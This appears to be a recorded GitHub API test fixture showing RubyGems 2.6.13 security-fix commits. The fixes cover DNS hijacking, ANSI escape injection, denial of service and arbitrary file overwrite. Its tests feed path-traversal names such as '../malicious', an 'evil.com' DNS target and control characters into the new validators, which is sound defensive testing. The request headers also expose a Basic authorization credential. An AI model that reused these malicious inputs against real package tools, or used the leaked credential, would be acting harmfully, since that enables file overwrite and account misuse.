verify_spec_name\n+\n if options[:install_as_default]\n Gem.ensure_default_gem_subdirectories gem_home\n else"},{"sha":"8f0cf0b4026b7c73e7b663592572ba75c09168ec","filename":"lib/rubygems/remote_fetcher.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/remote_fetcher.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -110,7 +110,7 @@ def api_endpoint(uri)\n else\n target = res.target.to_s.strip\n \n- if /\\.#{Regexp.quote(host)}\\z/ =~ target\n+ if URI(\"http://\" + target).host.end_with?(\".#{host}\")\n return URI.parse \"#{uri.scheme}://#{target}#{uri.path}\"\n end\n "},{"sha":"726a1934cf6e9e7ed4d3b1d7264a146447494c1d","filename":"lib/rubygems/specification.rb","status":"modified","additions":10,"deletions":2,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -108,6 +108,8 @@ class Gem::Specification < Gem::BasicSpecification\n \n private_constant :LOAD_CACHE if defined? private_constant\n \n+ VALID_NAME_PATTERN = /\\A[a-zA-Z0-9\\.\\-\\_]+\\z/ # :nodoc:\n+\n # :startdoc:\n \n ##\n@@ -2701,9 +2703,15 @@ def validate packaging = true\n end\n end\n \n- unless String === name then\n+ if !name.is_a?(String) then\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: \\\"#{name.inspect}\\\" must be a string\"\n+ elsif name !~ /[a-zA-Z]/ then\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: #{name.dump} must include at least one letter\"\n+ elsif name !~ VALID_NAME_PATTERN then\n raise Gem::InvalidSpecificationException,\n- \"invalid value for attribute name: \\\"#{name.inspect}\\\"\"\n+ \"invalid value for attribute name: #{name.dump} can only include letters, numbers, dashes, and underscores\"\n end\n \n if raw_require_paths.empty? then"},{"sha":"b944b62c27cc5b4b8446d5d1decbc3325ddd750c","filename":"lib/rubygems/text.rb","status":"modified","additions":14,"deletions":1,"changes":15,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/lib/rubygems/text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/text.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -6,13 +6,26 @@\n \n module Gem::Text\n \n+ ##\n+ # Remove any non-printable characters and make the text suitable for\n+ # printing.\n+ def clean_text(text)\n+ text.gsub(/[\\000-\\b\\v-\\f\\016-\\037\\177]/, \".\".freeze)\n+ end\n+\n+ def truncate_text(text, description, max_length = 100_000)\n+ raise ArgumentError, \"max_length must be positive\" unless max_length > 0\n+ return text if text.size <= max_length\n+ \"Truncating #{description} to #{max_length.to_s.reverse.gsub(/...(?=.)/,''\\&,'').reverse} characters:\\n\" + text[0, max_length]\n+ end\n+\n ##\n # Wraps +text+ to +wrap+ characters and optionally indents by +indent+\n # characters\n \n def format_text(text, wrap, indent=0)\n result = []\n- work = text.dup\n+ work = clean_text(text)\n \n while work.length > wrap do\n if work =~ /^(.{0,#{wrap}})[ \\n]/ then"},{"sha":"5471ecadcca01b93fe0e6f88208a59a7fa9b949e","filename":"test/rubygems/test_gem_commands_query_command.rb","status":"modified","additions":80,"deletions":0,"changes":80,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_commands_query_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_commands_query_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_query_command.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -116,6 +116,86 @@ def test_execute_details\n This is a lot of text. This is a lot of text. This is a lot of text.\n This is a lot of text.\n \n+pl (1)\n+ Platform: i386-linux\n+ Author: A User\n+ Homepage: http://example.com\n+\n+ this is a summary\n+ EOF\n+\n+ assert_equal expected, @ui.output\n+ assert_equal '''', @ui.error\n+ end\n+\n+ def test_execute_details_cleans_text\n+ spec_fetcher do |fetcher|\n+ fetcher.spec ''a'', 2 do |s|\n+ s.summary = ''This is a lot of text. '' * 4\n+ s.authors = [\"Abraham Lincoln \\x01\", \"\\x02 Hirohito\"]\n+ s.homepage = \"http://a.example.com/\\x03\"\n+ end\n+\n+ fetcher.legacy_platform\n+ end\n+\n+ @cmd.handle_options %w[-r -d]\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ expected = <<-EOF\n+\n+*** REMOTE GEMS ***\n+\n+a (2)\n+ Authors: Abraham Lincoln ., . Hirohito\n+ Homepage: http://a.example.com/.\n+\n+ This is a lot of text. This is a lot of text. This is a lot of text.\n+ This is a lot of text.\n+\n+pl (1)\n+ Platform: i386-linux\n+ Author: A User\n+ Homepage: http://example.com\n+\n+ this is a summary\n+ EOF\n+\n+ assert_equal expected, @ui.output\n+ assert_equal '''', @ui.error\n+ end\n+\n+ def test_execute_details_truncates_summary\n+ spec_fetcher do |fetcher|\n+ fetcher.spec ''a'', 2 do |s|\n+ s.summary = ''This is a lot of text. '' * 10_000\n+ s.authors = [\"Abraham Lincoln \\x01\", \"\\x02 Hirohito\"]\n+ s.homepage = \"http://a.example.com/\\x03\"\n+ end\n+\n+ fetcher.legacy_platform\n+ end\n+\n+ @cmd.handle_options %w[-r -d]\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ expected = <<-EOF\n+\n+*** REMOTE GEMS ***\n+\n+a (2)\n+ Authors: Abraham Lincoln ., . Hirohito\n+ Homepage: http://a.example.com/.\n+\n+ Truncating the summary for a-2 to 100,000 characters:\n+#{\" This is a lot of text. This is a lot of text. This is a lot of text.\\n\" * 1449} This is a lot of te\n+\n pl (1)\n Platform: i386-linux\n Author: A User"},{"sha":"39095c7deefbfb07e84c2c53ae3c3a64581a4f80","filename":"test/rubygems/test_gem_installer.rb","status":"modified","additions":20,"deletions":0,"changes":20,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_installer.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -1450,6 +1450,26 @@ def test_pre_install_checks_wrong_rubygems_version\n end\n end\n \n+ def test_pre_install_checks_malicious_name\n+ spec = util_spec ''../malicious'', ''1''\n+ def spec.full_name # so the spec is buildable\n+ \"malicious-1\"\n+ end\n+ def spec.validate; end\n+\n+ util_build_gem spec\n+\n+ gem = File.join(@gemhome, ''cache'', spec.file_name)\n+\n+ use_ui @ui do\n+ @installer = Gem::Installer.at gem\n+ e = assert_raises Gem::InstallError do\n+ @installer.pre_install_checks\n+ end\n+ assert_equal ''# has an invalid name'', e.message\n+ end\n+ end\n+\n def test_shebang\n util_make_exec @spec, \"#!/usr/bin/ruby\"\n "},{"sha":"ee5ac77717520ed945a0a59244d4b7960a8c7a63","filename":"test/rubygems/test_gem_remote_fetcher.rb","status":"modified","additions":15,"deletions":0,"changes":15,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_remote_fetcher.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -241,6 +241,21 @@ def test_api_endpoint_ignores_trans_domain_values_that_end_with_original\n dns.verify\n end\n \n+ def test_api_endpoint_ignores_trans_domain_values_that_end_with_original_in_path\n+ uri = URI.parse \"http://example.com/foo\"\n+ target = MiniTest::Mock.new\n+ target.expect :target, \"evil.com/a.example.com\"\n+\n+ dns = MiniTest::Mock.new\n+ dns.expect :getresource, target, [String, Object]\n+\n+ fetch = Gem::RemoteFetcher.new nil, dns\n+ assert_equal URI.parse(\"http://example.com/foo\"), fetch.api_endpoint(uri)\n+\n+ target.verify\n+ dns.verify\n+ end\n+\n def test_api_endpoint_timeout_warning\n uri = URI.parse \"http://gems.example.com/foo\"\n "},{"sha":"bb6acbc7dead5a3b29df39217fd4b3803945c9b3","filename":"test/rubygems/test_gem_specification.rb","status":"modified","additions":31,"deletions":1,"changes":32,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_specification.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -3014,7 +3014,37 @@ def test_validate_name\n @a1.validate\n end\n \n- assert_equal ''invalid value for attribute name: \":json\"'', e.message\n+ assert_equal ''invalid value for attribute name: \":json\" must be a string'', e.message\n+\n+ @a1.name = []\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"[]\\\" must be a string\", e.message\n+\n+ @a1.name = \"\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"\\\" must include at least one letter\", e.message\n+\n+ @a1.name = \"12345\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"12345\\\" must include at least one letter\", e.message\n+\n+ @a1.name = \"../malicious\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"../malicious\\\" can only include letters, numbers, dashes, and underscores\", e.message\n+\n+ @a1.name = \"\\ba\\t\"\n+ e = assert_raises Gem::InvalidSpecificationException do\n+ @a1.validate\n+ end\n+ assert_equal \"invalid value for attribute name: \\\"\\\\ba\\\\t\\\" can only include letters, numbers, dashes, and underscores\", e.message\n end\n \n def test_validate_non_nil"},{"sha":"04f3f605e8c03703d0bebc2fe90dddb40502514c","filename":"test/rubygems/test_gem_text.rb","status":"modified","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/65788b9add37507c33d4c8d62e3e491d1c2a4487/test/rubygems/test_gem_text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_text.rb?ref=65788b9add37507c33d4c8d62e3e491d1c2a4487","patch":"@@ -36,6 +36,10 @@ def test_format_text_trailing # for two spaces after .\n assert_equal expected, format_text(text, 78)\n end\n \n+ def test_format_removes_nonprintable_characters\n+ assert_equal \"text with weird .. stuff .\", format_text(\"text with weird \\x1b\\x02 stuff \\x7f\", 40)\n+ end\n+\n def test_min3\n assert_equal 1, min3(1, 1, 1)\n assert_equal 1, min3(1, 1, 2)\n@@ -74,4 +78,11 @@ def test_levenshtein_distance_replace\n assert_equal 7, levenshtein_distance(\"xxxxxxx\", \"ZenTest\")\n assert_equal 7, levenshtein_distance(\"zentest\", \"xxxxxxx\")\n end\n+\n+ def test_truncate_text\n+ assert_equal \"abc\", truncate_text(\"abc\", \"desc\")\n+ assert_equal \"Truncating desc to 2 characters:\\nab\", truncate_text(\"abc\", \"desc\", 2)\n+ s = \"ab\" * 500_001\n+ assert_equal \"Truncating desc to 1,000,000 characters:\\n#{s[0, 1_000_000]}\", truncate_text(s, \"desc\", 1_000_000)\n+ end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:14 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/6e77ace5dad07d86a38ac271e6a62658ca751105 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:14 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4393' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e3e952689d3a4bcf68fe1d0bd54ab561" Last-Modified: - Mon, 28 Aug 2017 01:50:22 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.056314' X-Github-Request-Id: - C5EE:4D95:F487F4:1C84A35:5A50E47E body: encoding: ASCII-8BIT string: '{"sha":"6e77ace5dad07d86a38ac271e6a62658ca751105","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:43:47Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:50:22Z"},"message":"Version 2.6.13 with changelog","tree":{"sha":"0ac3a1e9dca95472721ed22880c7bf01e16a9553","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0ac3a1e9dca95472721ed22880c7bf01e16a9553"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6e77ace5dad07d86a38ac271e6a62658ca751105","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZo3beAAoJEAEZW7MV3ahWk8kQAIEeMf71r1Ea++btyMez0QgE\nnD3YpQi9Az1iSuooIuUtKDJelPbJSS64QtlQ4I69HQXf01Z5ynRBEtlqMi9sYCNs\nX0aTWaRy7zbO3q00yjjr13a+LJdrZtiRHhThIzM2kOasW1I7iM+V/DOBKuB43Uls\n+ZDdeFibn2zcLKBOKIt5uNnV6mPDtGezQgQHmiDbT3ldTaObfkO2Gwsrfkij3dPX\nrgXEUQ30xQeBknvpkFqNyfVFq2uMLbkl2M7qQ4kwzeSdvRtljumVqxqieYxhoY9e\nB9g0f5PN555HBCatkclf3R1OM3MSK1l2Qb6pf8Ql2+xyMil6airplro/3cfNjHTo\n5J9DxPZQV+bswtWo4lzZZ+cVMdW1eKW5Z/FTh3ckp7M+BsRYjDG51O4zqhrNU0ru\nOXallOiB/1vxOjBabaS/xR1Yz1mN863QE+t2j9dnigJ4tNbuSv1iQkR8aYrGwdU2\nKP1wjZ34d05clSkkt4eO6tox+nurqDzJ/zADc9Aappuh5ReQxISxTV2zfL3Qh3YJ\nL5I0MKwxoEDsN00j4t5R6cJ+yhq8iLNwSpuTZMYDbwF6/MvX5DM2sl761y4fUdd6\nxOTCS6ArNIWRLigps6rwuT9e0sV3CYQUpzfMS7YQ1DIoekTa5MMqU0JLSGELkp8f\n2vCITv6u90kqKDcDKsSk\n=z8hr\n-----END PGP SIGNATURE-----","payload":"tree 0ac3a1e9dca95472721ed22880c7bf01e16a9553\nparent db04887ffd0c9b0bbd118055d11bdb5b8a2c1609\nauthor Samuel Giddins 1503884627 -0500\ncommitter Samuel Giddins 1503885022 -0500\n\nVersion 2.6.13 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6e77ace5dad07d86a38ac271e6a62658ca751105","html_url":"https://github.com/rubygems/rubygems/commit/6e77ace5dad07d86a38ac271e6a62658ca751105","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6e77ace5dad07d86a38ac271e6a62658ca751105/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","url":"https://api.github.com/repos/rubygems/rubygems/commits/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","html_url":"https://github.com/rubygems/rubygems/commit/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609"}],"stats":{"total":16,"additions":15,"deletions":1},"files":[{"sha":"0bf3a9751773afd6c6c47e616ba7866987247bd9","filename":"History.txt","status":"modified","additions":14,"deletions":0,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/6e77ace5dad07d86a38ac271e6a62658ca751105/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/6e77ace5dad07d86a38ac271e6a62658ca751105/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=6e77ace5dad07d86a38ac271e6a62658ca751105","patch":"@@ -1,5 +1,19 @@\n # coding: UTF-8\n \n+=== 2.6.13 / 2017-08-27\n+\n+Security fixes:\n+\n+* Fix a DNS request hijacking vulnerability.\n+ Fix by Samuel Giddins.\n+* Fix an ANSI escape sequence vulnerability.\n+ Fix by Evan Phoenix.\n+* Fix a DOS vulernerability in the `query` command.\n+ Fix by Samuel Giddins.\n+* Fix a vulnerability in the gem installer that allowed\n+ a malicious gem to overwrite arbitrary files.\n+ Fix by Samuel Giddins.\n+\n === 2.6.12 / 2017-04-30\n \n Bug fixes:"},{"sha":"55aa85b8b2bda858a42ab5b7df83a146172dc62c","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/6e77ace5dad07d86a38ac271e6a62658ca751105/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/6e77ace5dad07d86a38ac271e6a62658ca751105/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=6e77ace5dad07d86a38ac271e6a62658ca751105","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.6.12\"\n+ VERSION = \"2.6.13\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:14 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:15 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4392' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4e0d84f65669c2f39a9411b1c09508a4" Last-Modified: - Mon, 28 Aug 2017 01:38:34 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049589' X-Github-Request-Id: - A320:4D95:F4880E:1C84A5D:5A50E47F body: encoding: ASCII-8BIT string: '{"sha":"db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:38:34Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:38:34Z"},"message":"Merge branch ''seg-2-6-13'' into 2.6\n\nThis includes fixes for the following HackerOne bug reports:\n\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=218088\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=243005\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=226335\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=243003\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=243156\n\nPatches were reviewed by @indirect and @evanphx","tree":{"sha":"c00700bf1c487010c700978b0414afa47e57465c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c00700bf1c487010c700978b0414afa47e57465c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZo3RCAAoJEAEZW7MV3ahW9V4P/jSARQoOXVwYX+fVWE42/cCM\n7PEWUld6GwlXmANC2ePKsK+muGyt2/j4QrhDXFxNG9Q0jy6zutSevQYE6yH9byPI\n6uHA1giYH/KBkCfONdYXL85vU4xEvVgwq5t3uXVJPBiPi1MYlvS6clvOvplGcJz2\ntPv5NHyWcHTWrKDzQ+9lO2vrvuU6hWH7Z43yxYxq0HdqXSd8qF0yZ9rvNiiQ4OzU\ng+Zb4b2LkLmdEMuxS6VRLFFHtaIVjeT/jRCOfkHFU0/hpsL5zrkABN+nYrQhw+DT\n3D1tYUlt8SGu6XR4Qkl4dAYAlGt5x9pNY9y6rxNPzEB2aucn5c/Kq20zgyKdHwyb\nzLvdY+zdSm1CBzIPFED8abgB089u8dS6aaIniF4Uhyf146ZD/Fq4XibN9WdTkJwb\nIFJu+AxDzmRBzcHpdfMjzfWf9dUL1OyRnjXuk1ULOGhWkkbDaPi6fsLXfxaXwWlk\n52wmrcS+K9JBh1C65rZ2PvcAAzqjhiRW6sGeTF477o3p723w0xHuplP5ZzGBzilo\n891uwi/xPa8PcYPU79zqUffJLGhU4gSIFtD9JlazsB0I/W4ZLLAN8PTOqlAkSGjs\n76y32w6Z0KugeM5RD7y1bebRWyE1YQTeBBkcMqHc39DPMkfYIlKlrQXQBLbUHMo7\nWSnSjV61r2ZSQe2N+sed\n=Ijci\n-----END PGP SIGNATURE-----","payload":"tree c00700bf1c487010c700978b0414afa47e57465c\nparent 009080040279282d7b8ddd09acab41719cb4ba00\nparent ad5c0a53a86ca5b218c7976765c0365b91d22cb2\nauthor Samuel Giddins 1503884314 -0500\ncommitter Samuel Giddins 1503884314 -0500\n\nMerge branch ''seg-2-6-13'' into 2.6\n\nThis includes fixes for the following HackerOne bug reports:\n\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=218088\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=243005\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=226335\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=243003\n- [x] https://hackerone.com/bugs?subject=rubygems&report_id=243156\n\nPatches were reviewed by @indirect and @evanphx\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","html_url":"https://github.com/rubygems/rubygems/commit/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"009080040279282d7b8ddd09acab41719cb4ba00","url":"https://api.github.com/repos/rubygems/rubygems/commits/009080040279282d7b8ddd09acab41719cb4ba00","html_url":"https://github.com/rubygems/rubygems/commit/009080040279282d7b8ddd09acab41719cb4ba00"},{"sha":"ad5c0a53a86ca5b218c7976765c0365b91d22cb2","url":"https://api.github.com/repos/rubygems/rubygems/commits/ad5c0a53a86ca5b218c7976765c0365b91d22cb2","html_url":"https://github.com/rubygems/rubygems/commit/ad5c0a53a86ca5b218c7976765c0365b91d22cb2"}],"stats":{"total":199,"additions":192,"deletions":7},"files":[{"sha":"44144203e0f103e75ea8656f7f992f3b29b717c3","filename":"lib/rubygems/commands/query_command.rb","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/commands/query_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db04887ffd0c9b0bbd118055d11bdb5b8a2c1609/lib/rubygems/commands/query_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/query_command.rb?ref=db04887ffd0c9b0bbd118055d11bdb5b8a2c1609","patch":"@@ -226,7 +226,7 @@ def output_versions output, versions\n end\n end\n \n- output << make_entry(matching_tuples, platforms)\n+ output << clean_text(make_entry(matching_tuples, platforms))\n end\n end\n \n@@ -353,7 +353,8 @@ def spec_platforms entry, platforms\n end\n \n def spec_summary entry, spec\n- entry << \"\\n\\n\" << format_text(spec.summary, 68, 4)\n+ summary = truncate_text(spec.summary, \"the summary for #{spec.full_name}\")\n+ entry << \"\\n\\n\" << format_text(summary, 68, 4)\n end\n \n 